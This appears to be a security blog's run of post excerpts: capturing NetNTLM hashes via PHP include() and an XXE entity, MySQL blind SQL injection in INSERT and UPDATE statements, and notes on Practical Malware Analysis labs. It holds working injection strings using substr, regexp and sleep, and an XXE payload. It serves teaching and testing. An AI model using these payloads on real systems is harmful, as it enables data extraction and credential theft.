Places of Interest in Stealing NetNTLM Hashes

One day me and @m3g9tr0n was discussing different places where we can use responder in stealing NetNTLM hashes. After experimenting I thought of writing this post along with some cool findings in the world of Windows. SMBRelay attacks are also possible in these scenarios.


The include() in PHP will resolve the network path for us.



In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//" >

Lab01-02 Analysis

This program is packed using UPX and can be easily unpacked.

At the start we see a call to ‘StartServiceCtrlDispatcher’ which is used to implement a service and the service control manager will call the service entry point provided. In here I have labeled the service entry point as ‘ServiceMain’. The name of the service created would be ‘Malservice’.

MySQL Blind Injection in Insert and Update Statements

I’m not going to explain or write about blind injection in general. There are enough resources on the internet where you can learn. You can check my previous post where I have explained in detail about other types of injections in these statements. Since some of you asked me how to perform blind injection I thought of writing this post.

Boolean Based Blind Injection

We can use ‘+’ or bitwise OR in this scenario. If the result is true the entry will be updated with a ‘1’ and if the result is false the entry will be updated with a ‘0’.
I’m using binary search to make the search faster. Mid = (max+min)/2.
However I’m not sure if this is realistic.

update users set username =0’ | (substr(user(),1,1) regexp 0x5e5b6d2d7a5d) where id=14;
insert into users values (15,’osanda’,'0'| (substr(user(),1,1) regexp 0x5e5b6d2d7a5d));

Time Based Blind Injection

This approach would be realistic. In this case we can use functions such as sleep(), benchmark(). Like before by using ‘+’ or bitwise OR we can know if the result is true or false when updated or inserted.

update users set username = '0'|if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1) where id=15;
insert into users values (16,’osanda’,'0'| if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1));


The same can be applied to DELETE statements as well, but the injection is not realistic. There are many methods you can follow using the above syntax. You can develop your own tool to automate this process and improve the efficiency of the search.

Lab01-01 Analysis

In my leisure time I like reading the book Practical Malware Analysis and I thought of sharing my analysis in the practical sections. You can find detailed answers in the book as well.

Lab01-01.dll Analysis

If we have a look at the “Lab01-01.dll” file’s imports we can see that it uses network functions from “ws2_32.dll”. We can suspect that this file is responsible for network communications to the attacker.

But if we have a look at the exports section we see nothing, which is strange.
